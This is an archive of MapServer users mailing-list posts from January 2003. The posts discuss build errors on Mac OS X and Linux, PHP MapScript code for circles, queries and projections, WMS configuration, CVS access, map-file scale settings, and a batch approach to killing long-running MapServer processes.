From bon at ivv-aachen.de Mon Jan 20 05:16:35 2003
From: bon at ivv-aachen.de (=?iso-8859-1?Q?Nicole_B=F6meke?=)
Date: Mon, 20 Jan 2003 14:16:35 +0100
Subject: [Mapserver-users] NT batch programm to kill old mapserver processes
In-Reply-To: <000201c2be26$587f5610$1a01a8c0@ivvaachen.de>
Message-ID: <000201c2c086$28dda440$1a01a8c0@ivvaachen.de>
I'm need a batch programm that kills all mapserver processes running longer
than e.g. 300 seconds.
How can I achieve this?
Nicole
From bon at ivv-aachen.de Mon Jan 20 05:16:35 2003
From: bon at ivv-aachen.de (=?iso-8859-1?Q?Nicole_B=F6meke?=)
Date: Mon, 20 Jan 2003 14:16:35 +0100
Subject: [Mapserver-users] NT batch programm to kill old mapserver processes
In-Reply-To: <000201c2be26$587f5610$1a01a8c0@ivvaachen.de>
Message-ID: <000201c2c086$28dda440$1a01a8c0@ivvaachen.de>
I'm need a batch programm that kills all mapserver processes running longer
than e.g. 300 seconds.
How can I achieve this?
Nicole
From bon at ivv-aachen.de Mon Jan 20 05:16:35 2003
From: bon at ivv-aachen.de (=?iso-8859-1?Q?Nicole_B=F6meke?=)
Date: Mon, 20 Jan 2003 14:16:35 +0100
Subject: [Mapserver-users] NT batch programm to kill old mapserver processes
In-Reply-To: <000201c2be26$587f5610$1a01a8c0@ivvaachen.de>
Message-ID: <000201c2c086$28dda440$1a01a8c0@ivvaachen.de>
I'm need a batch programm that kills all mapserver processes running longer
than e.g. 300 seconds.
How can I achieve this?
Nicole
From bon at ivv-aachen.de Mon Jan 20 05:16:35 2003
From: bon at ivv-aachen.de (=?iso-8859-1?Q?Nicole_B=F6meke?=)
Date: Mon, 20 Jan 2003 14:16:35 +0100
Subject: [Mapserver-users] NT batch programm to kill old mapserver processes
In-Reply-To: <000201c2be26$587f5610$1a01a8c0@ivvaachen.de>
Message-ID: <000201c2c086$28dda440$1a01a8c0@ivvaachen.de>
I'm need a batch programm that kills all mapserver processes running longer
than e.g. 300 seconds.
How can I achieve this?
Nicole
From bon at ivv-aachen.de Mon Jan 20 05:16:35 2003
From: bon at ivv-aachen.de (=?iso-8859-1?Q?Nicole_B=F6meke?=)
Date: Mon, 20 Jan 2003 14:16:35 +0100
Subject: [Mapserver-users] NT batch programm to kill old mapserver processes
In-Reply-To: <000201c2be26$587f5610$1a01a8c0@ivvaachen.de>
Message-ID: <000201c2c086$28dda440$1a01a8c0@ivvaachen.de>
I'm need a batch programm that kills all mapserver processes running longer
than e.g. 300 seconds.
How can I achieve this?
Nicole
From Chip.Hankley at GASAI.Com Mon Jan 20 06:29:04 2003
From: Chip.Hankley at GASAI.Com (Hankley, Chip)
Date: Mon, 20 Jan 2003 08:29:04 -0600
Subject: [Mapserver-users] NT batch programm to kill old mapserver pro
cesses
Message-ID: <3DFF131E4E6D2D4198CDD758F35A5353027852D5@postoffice.GASAI.Com>
You would need to use KILL.exe (on the NT Resource Kit CD I believe) OR my
favorite is PSKILL.exe from SYSINTERNALS... they have a whole suite of free
NT/2000 management tools. I like PSKILL b/c it's a little bigger hammer.
You'll have to look at the syntax of the commands... but my hunch is that
you are going to capture the output to a text file and parse it to determine
the number of seconds each process has been running. You should be able to
do this in just about any language.
Finally, once you have the script in place, you could use the scheduler
utility to have the program run at a specified interval.
Chip
-----Original Message-----
From: Nicole B?meke [mailto:bon at ivv-aachen.de]
Sent: Monday, January 20, 2003 7:17 AM
To: Mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] NT batch programm to kill old mapserver
processes
I'm need a batch programm that kills all mapserver processes running longer
than e.g. 300 seconds.
How can I achieve this?
Nicole
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From pkishor at geoanalytics.com Mon Jan 20 07:13:02 2003
From: pkishor at geoanalytics.com (Puneet Kishor)
Date: Mon, 20 Jan 2003 09:13:02 -0600
Subject: [Mapserver-users] RE: mapserver/PostGIS on Macos X
Message-ID:
Bill,
Here is the state of my explorations --
I have always been able to build all the Mapserver versions I have tried
(3.4 through 3.6.4) with Perl/Mapscript support.
I have never been able to run PHP/Mapscript successfully. For the longest
time the problem was with PHP on MacOS X -- dynamically loaded libraries
were not possible. Now, with PHP 4.3.0 on, dls are possible, but I am unable
to build PHP/Mapscript (see error messages below at the end of this
message).
I have never had any problem with MySQL and Perl:DBD:mysql, so I am a happy
camper as far as that goes.
I have had no problems with PgSQL itself, but have not built PostGIS.
To others on this mailing list and using MacOS X -- if you are interested, I
would propose our own mailing list (not really a hosted mailing list, but
just a bunch of email addresses we can cc our emails to sharing our
experiences with Mapserver on MacOS X). Eventually, I would like to see a
binary build of Mapserver in the form of a double-clickable package. If
interested, please drop me an email.
Thanks.
> -----Original Message-----
> From: wheatonw at duke.edu [mailto:wheatonw at duke.edu]
> Sent: Friday, January 17, 2003 12:08 PM
> To: pkishor at geoanalytics.com
> Subject: mapserver/PostGIS on Macos X
>
>
> Puneet--
>
> You may not remember, but we corresponded briefly early last
> year about
> building MapServer 3.5 on Macos X. I had version 3.4 working, but
> couldn't get 3.5 working (images came out backwards).
>
> Anyway, I'm about to embark on an effort to build MapServer 3.6.x and
> PostGIS on my ibook and I was wondering if you had tried to compile
> these beasts on Macos 10.1.x or 10.2.x? I've been looking
> every place
> I can think of and can't find any information about
> experiences trying
> to get these two to work together under Macos x. Unless I can find
> someone who says that it just won't work for some reason, I'm
> going to
> go ahead and give it a try. But I just thought I'd see if anyone had
> tried it yet.
>
> Thanks in advance for any information.
>
> Bill
>
details:
gcc 2.95 on OS X 10.2.3 with the latest devtools and Perl 5.6.0
PHP 4.3.0 built as CGI
--with-xml
--with-zlib
--with-mysql
--with-gd
--with-png
--with-jpeg
--with-xml
--enable-wddx
--enable-dbase
--with-regex=system
Mapserver build log:
-I/Users/pkishor/Projects/mapserver/php-4.3.0/TSRM -c -o
mapscript_i.o mapscript_i.c
/Users/pkishor/Projects/mapserver/mapserver-3.6.4/maptemplate.h:16:
warning: `inchesPerUnit' defined but not used
cc: -flat_namespace: linker input file unused since linking not done
cc: -flat_namespace: linker input file unused since linking not done
cc -o php_mapscript.so php_mapscript_util.o php_mapscript.o
mapscript_i.o -L/Users/pkishor/Projects/mapserver/mapserver-3.6.4
-lmap -ljpeg -L/usr/local/lib -lpng -lz
-L/Users/pkishor/Projects/mapserver/mapserver-3.6.4/../gd-1.8.4 -lgd
-ljpeg -L/usr/local/lib -lpng -lz -ljpeg -lm
/usr/bin/ld: Undefined symbols:
_main
__convert_to_string
__efree
__emalloc
__estrdup
__object_init_ex
__zend_list_find
__zval_copy_ctor
_add_property_resource_ex
_add_property_zval_ex
_convert_to_double
_convert_to_long
_zend_error
_zend_hash_find
_zend_hash_get_current_data_ex
_zend_hash_get_current_key_ex
_zend_hash_internal_pointer_reset_ex
_zend_hash_move_forward_ex
__array_init
__estrndup
__object_init
__zend_list_addref
__zend_list_delete
_add_assoc_string_ex
_add_next_index_long
_add_next_index_string
_add_property_double_ex
_add_property_long_ex
_add_property_string_ex
_php_header
_php_printf
_php_write
_sapi_module
_zend_get_parameters
_zend_hash_index_find
_zend_hash_num_elements
_zend_list_insert
_zend_register_internal_class
_zend_register_list_destructors
_zend_register_list_destructors_ex
_zend_register_long_constant
_zend_wrong_param_count
make[1]: *** [php_mapscript.so] Error 1
From mcilhagga at dmsolutions.ca Mon Jan 20 07:20:00 2003
From: mcilhagga at dmsolutions.ca (Dave McIlhagga)
Date: Mon, 20 Jan 2003 10:20:00 -0500
Subject: [Mapserver-users] Info on MapServer, MapLab and other technologies
Message-ID: <3E2C13A0.6040908@dmsolutions.ca>
Good morning,
I'm writing to pass along some info that I thought might be of use to
some of you to help keep track of recent and upcoming developments for
the technologies we have been developing and supporting over the past
few years. Mostly MapServer, Flash, OGR/GDAL, PHP/MapScript, MapLab,
OGC compliance etc...
1. We recently have started putting together a Newsletter at DM
Solutions which highlights a lot of recent development activity. This
can be read at:
http://www.dmsolutions.ca/news/news.html
If you are interested in receiving this every 3 months, you can
subscribe through our home page.
2. Over Christmas we completed an overhaul of our website which includes
a lot of information about these technologies. See the "Technology and
Services" section for specific info.
http://www.dmsolutions.ca
3. You can see a lot of this technology in action through our
"Applications Gallery" at:
http://www.dmsolutions.ca/solutions/liveapps.html
4. As always, you can get more detailed technical info about everything
through the webtools section at:
http://www2.dmsolutions.ca/webtools/
Hope you find some of these resources useful.
We're trying to provide as much information as possible to the community
concerning the open source technologies that we're involved with. If
anyone has any thoughts on other things they would find useful, please
let us know as we're very open to suggestions.
Looking forward to meeting many of you at the Mapserver User Meeting in
June!
Dave
--
Dave McIlhagga
DM Solutions Group
http://www.dmsolutions.ca
EMail : mcilhagga at dmsolutions.ca
Phone : 613-565-5056 x15
Fax : 613-565-0925
From ycnyon at pd.jaring.my Mon Jan 20 20:58:20 2003
From: ycnyon at pd.jaring.my (YC Nyon)
Date: Tue, 21 Jan 2003 12:58:20 +0800
Subject: [Mapserver-users] RE: Draw Circle via PHP/MS
Message-ID: <012801c2c109$b93ec400$5340baca@gis>
I'm trying to draw a circle using the code below. However it gave an error
on the last line.
I'm modify it from a snippet I found in the archieves. The map file contains
a 'circle' layer.
// DRAW CIRCLE
$p=ms_newPointObj();
$circle=ms_newShapeObj(MS_SHAPE_LINE);
$line=ms_newlineObj();
$clayer = $map->getLayerByName('Circle');
$class = $clayer->getClass(0);
$pi=3.141592654;
$radius = 10;
for($i=0;$i<2.1*$pi;$i=$i+$pi/100)
{
$p->{x} = $real_geo_width + $radius * cos($i);
$p->{y} = $real_geo_height + $radius * sin($i);
$p->setXY(($real_geo_width + $radius * cos($i)),($real_geo_height
+ $radius * sin($i)));
$line->add($p);
}
$circle->add($line);
$circle->draw($map,$clayer,$image,0,"");
Regards
Nyon
---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.443 / Virus Database: 248 - Release Date: 10/01/2003
From pkishor at geoanalytics.com Mon Jan 20 09:55:48 2003
From: pkishor at geoanalytics.com (pkishor_98 )
Date: Mon, 20 Jan 2003 17:55:48 -0000
Subject: [Mapserver-users] Re: Draw Circle via PHP/MS
In-Reply-To: <012801c2c109$b93ec400$5340baca@gis>
Message-ID:
--- In mapserver-users at yahoogroups.com, "YC Nyon" wrote:
> I'm trying to draw a circle using the code below. However it gave an
error
> on the last line.
first, what is the error? it is always helpful for others to know what
the error is.
2nd... you can simplify your code a little bit like so (if you so
desire) --
//$p=ms_newPointObj(); // not needed
$circle=ms_newShapeObj(2);
$line=ms_newlineObj();
$clayer = $map->getLayerByName('Circle');
$class = $clayer->getClass(0);
$pi = pi();
$radius = 10;
$inc = 0;
// assuming $x0 and $y0 are the origin of the circle in geog coords
// and $r is the radius
while ($inc <= 360) { // changed
$x = $x0 + ($r * cos(($inc * $pi / 180)));
$y = $y0 - ($r * cos(($inc * $pi / 180)));
$line->addXY($x, $y);
$inc += 10;
}
$clayer->set("status", 1);
$circle->add($line);
> I'm modify it from a snippet I found in the archieves. The map file
contains
> a 'circle' layer.
>
> // DRAW CIRCLE
> $p=ms_newPointObj();
> $circle=ms_newShapeObj(MS_SHAPE_LINE);
> $line=ms_newlineObj();
> $clayer = $map->getLayerByName('Circle');
> $class = $clayer->getClass(0);
>
> $pi=3.141592654;
> $radius = 10;
> for($i=0;$i<2.1*$pi;$i=$i+$pi/100)
> {
> $p->{x} = $real_geo_width + $radius * cos($i);
> $p->{y} = $real_geo_height + $radius * sin($i);
> $p->setXY(($real_geo_width + $radius *
cos($i)),($real_geo_height
> + $radius * sin($i)));
> $line->add($p);
> }
> $circle->add($line);
> $circle->draw($map,$clayer,$image,0,"");
>
>
> Regards
> Nyon
From teb at mallit.fr.umn.edu Mon Jan 20 10:59:47 2003
From: teb at mallit.fr.umn.edu (Thomas E. Burk)
Date: Mon, 20 Jan 2003 12:59:47 -0600 (CST)
Subject: [Mapserver-users] msWMSDispatch(): General error message (fwd)
Message-ID: <200301201859.h0KIxp125037@mallit.fr.umn.edu>
Forwarded message:
> From roland.forster at knuut.de Mon Jan 20 10:52:30 2003
> Message-ID: <008501c2c0a4$a542c060$1020a8c0 at rocky>
> From: "Roland Forster"
> To:
> Subject: msWMSDispatch(): General error message
> Date: Mon, 20 Jan 2003 17:54:48 +0100
> MIME-Version: 1.0
> Content-Type: text/plain;
> charset="iso-8859-1"
> Content-Transfer-Encoding: 7bit
> X-Priority: 3
> X-MSMail-Priority: Normal
> X-Mailer: Microsoft Outlook Express 6.00.2600.0000
> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
>
> Hello,
> i compiled the mapserver with
> ./configure --without-tiff --with-gd --enable-force-freetype2 \
> --with-proj --with-gdal --with-ogr --without-wms
>
> Calling mapserver i got the error message
> msWMSDispatch(): General error message. WMS support is not available.
>
> The Mapfile doesn't call anything concerning wms.
> Why do i get the message although i compile without wms-support?!!
>
> Thanks in advance,
> Roland
>
>
From zak-ms at aiya.dhs.org Mon Jan 20 11:20:48 2003
From: zak-ms at aiya.dhs.org (Zak James)
Date: Mon, 20 Jan 2003 14:20:48 -0500
Subject: [Mapserver-users] RE: mapserver/PostGIS on Macos X
In-Reply-To:
Message-ID: <47BDAC79-2CAC-11D7-B29D-003065AB2508@aiya.dhs.org>
I've been able to get php/mapscript running under OS X, even with 4.2.x
PHP versions, by manually editing the php/mapscript makefile. When you
configure mapserver and specify php support, the makefile
(./mapscript/php3/Makefile) is not properly set up.
To use a loadable module under OS X, it needs to be packaged as a
Mach-O bundle. This differs from other unix systems and the configure
script doesn't know about it. My Makefile includes the following:
CC = gcc -fPIC
LD = cc -bundle -flat_namespace -undefined suppress
CFLAGS = -O2 -Wall -DCOMPILE_DL=1 -DPHP4
and compiles mapscript ok.
A MacOS mailing list is a good idea since most mapserver users are
probably not interested in these details. Count me in. This information
should probably be updated on the wiki page
(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MacOS) too.
I think an OS X binary package is needed too, but I'm not sure which of
the many mapserver options it should include.
Zak James
On Monday, January 20, 2003, at 10:13 am, Puneet Kishor wrote:
> Bill,
>
> Here is the state of my explorations --
>
> I have always been able to build all the Mapserver versions I have
> tried
> (3.4 through 3.6.4) with Perl/Mapscript support.
>
> I have never been able to run PHP/Mapscript successfully. For the
> longest
> time the problem was with PHP on MacOS X -- dynamically loaded
> libraries
> were not possible. Now, with PHP 4.3.0 on, dls are possible, but I am
> unable
> to build PHP/Mapscript (see error messages below at the end of this
> message).
>
> I have never had any problem with MySQL and Perl:DBD:mysql, so I am a
> happy
> camper as far as that goes.
>
> I have had no problems with PgSQL itself, but have not built PostGIS.
>
> To others on this mailing list and using MacOS X -- if you are
> interested, I
> would propose our own mailing list (not really a hosted mailing list,
> but
> just a bunch of email addresses we can cc our emails to sharing our
> experiences with Mapserver on MacOS X). Eventually, I would like to
> see a
> binary build of Mapserver in the form of a double-clickable package. If
> interested, please drop me an email.
From dschrupp at ix.netcom.com Mon Jan 20 11:12:45 2003
From: dschrupp at ix.netcom.com (Donald L. Schrupp)
Date: Mon, 20 Jan 2003 12:12:45 -0700
Subject: [Mapserver-users] Compiling Insight Request - Mapserver 3.6.3
Message-ID: <3E2C4A2D.87271B19@ix.netcom.com>
Dear MapServer List:
I'm requesting some insight as to what I might
need to change in my compiling steps to get
Mapserver 3.6.3 to compile. Since I've gotten older
versions running under older Linux setups (RH
7.2), I'm at a loss to know if my challenges are
the new OS environment (Mandrake 9.0) or newer
MapServer (3.6.3 files).
My setup is Mandrake 9.0, (kernel 2.4.19-16mdk),
with MySQL/PostgreSQL and Apache 1.3.27. PHP4
is configured with:
./configure --prefix=/usr/local/php4 --with-magic-quotes
--enable-track-vars --enable-trans-id --enable-safe-mode
--with-exec-dir=/usr/bin --with-system-regex -with-dbase
--with-filepro --with-enable-yp --enable-ftp --with-gettext
--with-mysql --with-pgsql --with-ttf
--with-freetype=/usr/local/include/freetype
--with-jpeg-dir=/usr/local/bin --with-png-dir=/usr/local/lib
--with-zlib-dir=/usr/local/lib --with-gd=/usr/local/lib
--with-xml --with=../apache --with-tiff=/usr/local/lib
--with-config-file-path=/etc
MapServer configuration set as:
./configure --with-gd=/usr/local/lib
--with-config-file-path=/usr/lib --with-tiff=/usr/lib
--with-jpeg=/usr/local/bin --with-zlib=/usr/local/lib
--with-png=/usr/local/lib
--with-freetype=/usr/local/include/freetype --with-eppl
--with-proj=/usr/local/lib --with-wmsclient
--with-system-regex --with-php=/usr/local/php4
Things crank along fine, till I get the message:
./libmap.a(mapogr.o)(.eh_frame+0x11): undefined reference to
'__gxx_personality_v0'
collect2: ld returned 1 exit status
make: *** [shp2img] Error 1
A google search points to some references suggesting differences
between gcc and g++ compilation, but I haven't been able to
theorize what changes I might make to the Makefile or underlying
code files (shp2img.c ?) to work beyond this. Any insights or
work-arounds would be appreciated.
Don
From Antti.Roppola at brs.gov.au Thu Jan 16 17:17:24 2003
From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au)
Date: Fri, 17 Jan 2003 12:17:24 +1100
Subject: [Mapserver-users] queryByShape works on layers but not map.
Message-ID: <3E4215C93D3CE24D84A9FF385DF88D87144821@afeb-ms-02>
Hello all,
I am writing some queries using PHP/Mapscript 3.6.3 and am having
problems getting queryByShape to work against a map object. When
I try and call queryByShape against a map, it seems to hang the
script at that point. Other queries against the map are fine, as
are queryByShape calls against a single layer.
Thoughts?
Antti
// The following queryByShape works...
$myLayer = $map->getLayerByName("Marinas");
$myLayer->queryByShape($regionShape);
// The following queryByShape doesn't work...
$map->queryByShape($regionShape);
// but using the shape's bounding box does work
$map->queryByRect($regionShape->bounds);
$regionShape->free();
QueryResults($map);
From woodbri at swoodbridge.com Sat Jan 18 11:57:52 2003
From: woodbri at swoodbridge.com (woodbri at swoodbridge.com)
Date: Sat, 18 Jan 2003 14:57:52 -0500
Subject: [Mapserver-users] MaxScale / MinScale Problem
In-Reply-To: <1042917733.3e29a9657531b@progbits.com>
Message-ID: <3E296B70.4135.133394D@localhost>
Scott,
Try changing your UNITS to DD then your MIN/MAXSCALE should work.
-Steve
On 18 Jan 2003 at 13:22, Scott Carr wrote:
> I have a residential and a business layer that lists a whole lot of
> people numbers and such. I would like these layers to only show up
> when I get down to a certain extent.
>
> Anytime I put numbers in the MaxScale / MinScale, the layers are not
> displayed at all. I have put numbers of varying ranges in, but no
> luck.
>
> Any ideas?
>
> My Map File as it stands now:
>
> map
> extent -104.187846 39.864694 -103.411784 40.610718
> fontset "symbols/fontset.fon"
> imagecolor 255 255 255
> name "Caldwell County"
> shapepath "data"
> size 530 430
> status on
> symbolset "symbols/all.sym"
> transparent on
> units feet
> # 1 scalebar #none
> scalebar
> backgroundcolor 123 123 123
> color 255 0 0
> imagecolor 0 0 255
> intervals 4
> outlinecolor 0 0 0
> size 200 7
> status on
> style 0
> transparent true
> units feet
> # 1 label #none
> label
> backgroundcolor 0 0 0
> color 255 255 0
> size tiny
> end
> end
> # 2 layer Cities
> layer
> classitem "ID"
> data "Cities"
> group "Cities"
> labelcache on
> name "Cities"
> status on
> type polygon
> # 1 class Cities_1
> class
> backgroundcolor 128 128 128
> color 0 128 255
> name "Cities_1"
> outlinecolor 0 0 0
> end
> end
> # 3 layer County
> layer
> classitem "ID"
> data "County"
> group "County"
> labelcache on
> name "County"
> status on
> type polygon
> # 1 class County_1
> class
> backgroundcolor 128 128 128
> color 128 255 128
> name "County_1"
> outlinecolor 0 0 0
> end
> end
> # 4 layer Geocode
> layer
> classitem "ID"
> data "Geocode"
> group "Geocode"
> labelcache on
> name "Geocode"
> status on
> type line
> # 1 class Geocode_1
> class
> backgroundcolor 128 128 128
> color 128 128 128
> name "Geocode_1"
> outlinecolor 0 0 0
> end
> end
> # 5 layer Lakes
> layer
> classitem "ID"
> data "Lakes"
> group "Lakes"
> labelcache on
> name "Lakes"
> status on
> type polygon
> # 1 class Lakes_1
> class
> backgroundcolor 128 128 128
> color 0 128 255
> name "Lakes_1"
> outlinecolor 0 0 0
> end
> end
> # 6 layer Landmarks
> layer
> classitem "ID"
> data "Landmarks"
> group "Landmarks"
> labelcache on
> name "Landmarks"
> status on
> type polygon
> # 1 class Landmarks_1
> class
> backgroundcolor 128 128 128
> color 255 128 0
> name "Landmarks_1"
> outlinecolor 0 0 0
> end
> end
> # 7 layer Majorroads
> layer
> classitem "FRC"
> data "Majorroads"
> group "Majorroads"
> labelcache on
> name "Majorroads"
> status on
> type line
> # 1 class Majorroads_1
> class
> backgroundcolor 128 128 128
> color 0 0 0
> name "Majorroads_1"
> outlinecolor 0 0 0
> size 2
> end
> end
> # 8 layer medical
> layer
> classitem "ABINUMBER"
> data "medical"
> footer "medical_footer.html"
> group "medical"
> header "medical_header.html"
> labelcache on
> name "medical"
> status on
> type point
> # 1 class medical_1
> class
> backgroundcolor 128 128 128
> color 255 255 0
> name "medical_1"
> outlinecolor 0 0 0
> end
> end
> # 9 layer Railroads
> layer
> classitem "ID"
> data "Railroads"
> group "Railroads"
> labelcache on
> name "Railroads"
> status on
> type line
> # 1 class Railroads_1
> class
> backgroundcolor 128 128 128
> color 0 0 0
> name "Railroads_1"
> outlinecolor 0 0 0
> end
> end
> # 10 layer residential
> layer
> classitem "NAME"
> data "residential"
> group "residential"
> labelcache on
> maxscale 20000
> minscale 100
> name "residential"
> status on
> symbolscale 1
> type point
> # 1 class residential_1
> class
> backgroundcolor 255 255 255
> color 255 128 0
> maxsize 10
> minsize 2
> name "residential_1"
> outlinecolor 0 0 0
> size 1
> symbol "house"
> end
> end
> # 11 layer business
> layer
> classitem "NAME"
> data "business"
> footer "business_footer.html"
> group "business"
> header "business_header.html"
> name "business"
> status on
> MAXSCALE 5000
> MINSCALE 100
> symbolscale 1
> type point
> # 1 class business_1
> class
> backgroundcolor 128 128 128
> color 255 0 0
> maxsize 10
> minsize 2
> name "business_1"
> outlinecolor 0 0 0
> size 1
> symbol "circle"
> end
> end
> # 12 layer Rivers
> layer
> classitem "ID"
> data "Rivers"
> group "Rivers"
> labelcache on
> name "Rivers"
> status on
> type line
> # 1 class Rivers_1
> class
> backgroundcolor 128 128 128
> color 0 128 255
> name "Rivers_1"
> outlinecolor 0 0 0
> end
> end
> # 13 web 1222.html
> web
> footer "1222_footer.html"
> header "1222_header.html"
> imagepath "e:\Program Files\Apache Group\Apache\htdocs\tmp\"
> imageurl "/tmp/"
> template "1222.html"
> end
> # 14 querymap hilite
> querymap
> color 255 0 0
> size 530 430
> status on
> style hilite
> end
> # 15 reference graphics/reference.gif
> reference
> color -1 -1 -1
> extent -104.187846 39.864694 -103.411784 40.610718
> image "graphics/reference.gif"
> outlinecolor 255 0 0
> size 120 120
> status on
> end
> # 16 legend #none
> legend
> keysize 18 12
> status on
> # 1 label #none
> label
> color 0 0 89
> size medium
> type bitmap
> end
> end
> end
>
>
> --
> Scott Carr
> Documentation Maintainer
> http://documentation.openoffice.org
> OpenOffice.org
>
>
>
>
>
> -------------------------------------------------
> This mail sent through IMP: http://horde.org/imp/
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
From aspinformatica at terra.com.br Sat Jan 18 14:12:38 2003
From: aspinformatica at terra.com.br (=?ISO-8859-1?Q?Andr=E9_de_Souza_Pinto?=)
Date: Sat, 18 Jan 2003 20:12:38 -0200
Subject: [Mapserver-users] True Type Fonts problem
Message-ID: <3E29D156.4070001@terra.com.br>
Hi!
My name is Andr? de Souza Pinto,
I am studing a project to canoas?s city hall
to put in the internet all the streets.
If you whish take a look you can access in
http://aspinformatica.no-ip.org:8080/cgi-bin/mapserv?mode=browse&layer=Ruas&layer=Textos&zoomdir=0&zoomsize=2&imgxy=299.5+299.5&imgext=-15000.000000+-5505.000000+2000.000000+11505.000000&map=%2Fvar%2Fwww%2Fdefault%2Fcanoas%2Fmapa.map&savequery=true&program=%2Fcgi-bin%2Fmapserv&map_web_imagepath=%2Fvar%2Fwww%2Ftmp%2F&map_web_imageurl=%2Ftmp%2F
Click in Canoas.
Resume
The label texts (ANNOTATION) are not scalabel
when the labelsizeitem is informad.
The server process is very slow because i using the
HP Netserver 5/100 with 92MB of RAM.
I?m sorry my very bad English.
sincerely,
Andr? de Souza Pinto
ASP Informatica
Rua Moreira Cesar, 2028/11 - Bairro Pio X
95034-000 - Caxias do Sul / RS / Brazil
mailto://andre at aspinformatica.no-ip.org
mailto://aspinformatica at terra.com.br
From forster at entera.de Mon Jan 20 09:00:56 2003
From: forster at entera.de (Roland Forster, entera)
Date: Mon, 20 Jan 2003 18:00:56 +0100
Subject: [Mapserver-users] msWMSDispatch(): General error message
Message-ID: <00ab01c2c0a5$7fefbd30$1020a8c0@rocky>
Hello,
i compiled the mapserver with
./configure --without-tiff --with-gd --enable-force-freetype2 \
--with-proj --with-gdal --with-ogr --without-wms
Calling mapserver i got the error message
msWMSDispatch(): General error message. WMS support is not available.
The Mapfile doesn't call anything concerning wms.
Why do i get the message although i compile without wms-support?!!
Thanks in advance,
Roland
From bart at geodan.nl Mon Jan 20 11:17:37 2003
From: bart at geodan.nl (Bart van den Eijnden)
Date: Mon, 20 Jan 2003 20:17:37 +0100
Subject: [Mapserver-users] CVS Access
In-Reply-To: <012801c2c109$b93ec400$5340baca@gis>
Message-ID:
Hi,
I'm trying to access mapserver through CVS using wincvs 1.3.8.1
But I get the following error:
cvs -d :pserver:cvs at mapserver.gis.umn.edu:/data2/cvsroot init
cvs [server aborted]: "init" requires write access to the repository
Does anybody have an idea how to solve this?
Thanks,
Bart
The Netherlands
From bart.van.den.eijnden at geodan.nl Mon Jan 20 11:28:48 2003
From: bart.van.den.eijnden at geodan.nl (Bart van den Eijnden)
Date: Mon, 20 Jan 2003 20:28:48 +0100
Subject: [Mapserver-users] CVS Access
Message-ID:
Hi,
I'm trying to access mapserver through CVS using wincvs 1.3.8.1
But I get the following error:
cvs -d :pserver:cvs at mapserver.gis.umn.edu:/data2/cvsroot init
cvs [server aborted]: "init" requires write access to the repository
Does anybody have an idea how to solve this?
Thanks,
Bart
The Netherlands
From millardymecki at sympatico.ca Mon Jan 20 12:22:28 2003
From: millardymecki at sympatico.ca (Paul Dymecki)
Date: Mon, 20 Jan 2003 15:22:28 -0500
Subject: [Mapserver-users] Projection accuracy problems
Message-ID: <003c01c2c0c1$a7a7fa60$f098fea9@pauls>
Hi there,
I was wondering if anyone knows about projection differences between
proj4 and geotrans. I've tried both but am cannot get the same accuracy
with proj4 as with geotrans. Here is the proj4 code i'm using in mapscript.
Any help would be much appreciated,
Paul
Code for converting lat/long -> lcc
$lat = 64.16;
$lon = -95.50;
$parms1[0] = "proj=longlat";
$parms1[1] = "ellps=GRS80";
$parms1[2] = "datum=NAD83";
$parms1[3] = "no_defs";
$projLonLat = pj_init($parms1);
$parms2[0] = "proj=lcc";
$parms2[1] = "ellps=GRS80";
$parms2[2] = "datum=NAD83";
$parms2[3] = "lat_0= 49.0";
$parms2[4] = "lon_0= -95.0";
$parms2[5] = "lat_1= 49.0";
$parms2[6] = "lat_2= 77.0";
$parms2[7] = "units=m";
$projLCC = pj_init($parms2);
$ret = pj_transform($projLonLat, $projLCC, $lon, $lat,0 );
$ln = ($ret["u"]);
$lt = ($ret["v"]);
echo " ".$ln." ".$lt;
From roland.forster at knuut.de Mon Jan 20 12:27:20 2003
From: roland.forster at knuut.de (Roland Forster)
Date: Mon, 20 Jan 2003 21:27:20 +0100
Subject: [Mapserver-users] msWMSDispatch(): General error message
Message-ID: <013f01c2c0c2$557e6390$1020a8c0@rocky>
now i configured mapserver with wms-support.
the following was sent by running the procedure
" ...
checking whether we should include WMS support...
OGC WMS compatibility enabled (-DUSE_WMS).
checking whether we should include WMS Client Connections support...
checking for libwww-config... (cached) /usr/local/bin/libwww-config
found libwww version 5.4.0
OGC WMS Client Connections enabled (-DUSE_WMS_LYR).
..."
Although i get the message
"msWMSDispatch(): General error message. WMS support is not available."
while running the itasca demo.
Does anyone has an idea?
regards,
Roland
From jeffb at erlandsen.com Mon Jan 20 15:04:42 2003
From: jeffb at erlandsen.com (Jeff Berry)
Date: Mon, 20 Jan 2003 15:04:42 -0800
Subject: [Mapserver-users] Labeling Inconsistent
Message-ID:
I have labels defined for a city boundaries layer. However, when I first
open the map, only a 2 out of the 5 cities get labeled. If I do a refresh,
(not changing extent or anything...just a refresh), then I see 4 out of the
5 labels. If I zoom into a city, sometimes it draws the label and other
times it doesn't. I have FORCE turned on. I even tried setting
MINFEATURESIZE to 0. Nothing makes a difference. Any suggestions about why
this happens?
Jeff Berry
Erlandsen & Associates
P.O. Box 2029
Chelan, WA 98816
(509) 682-4189
jeffb at erlandsen.com
From jeffb at erlandsen.com Mon Jan 20 15:10:57 2003
From: jeffb at erlandsen.com (Jeff Berry)
Date: Mon, 20 Jan 2003 15:10:57 -0800
Subject: [Mapserver-users] Odd Error
Message-ID:
I have a lakes polygon layer that draws just fine at large scales. However,
if I zoom out to the entire extent of the dataset I get the following error:
Warning: MapServer Error in msDrawShape(): Only polygon shapes can be drawn
using a POLYGON layer definition.
This happens with a couple other polygon layers as well, when I zoom out to
a point where a lot of polygon features are displayed in the current extent.
What is causing this?
Jeff Berry
Erlandsen & Associates
P.O. Box 2029
Chelan, WA 98816
(509) 682-4189
jeffb at erlandsen.com
From Antti.Roppola at brs.gov.au Mon Jan 20 15:31:17 2003
From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au)
Date: Tue, 21 Jan 2003 10:31:17 +1100
Subject: [Mapserver-users] Compiling Insight Request - Mapserver 3.6.3
Message-ID: <3E4215C93D3CE24D84A9FF385DF88D87144836@afeb-ms-02>
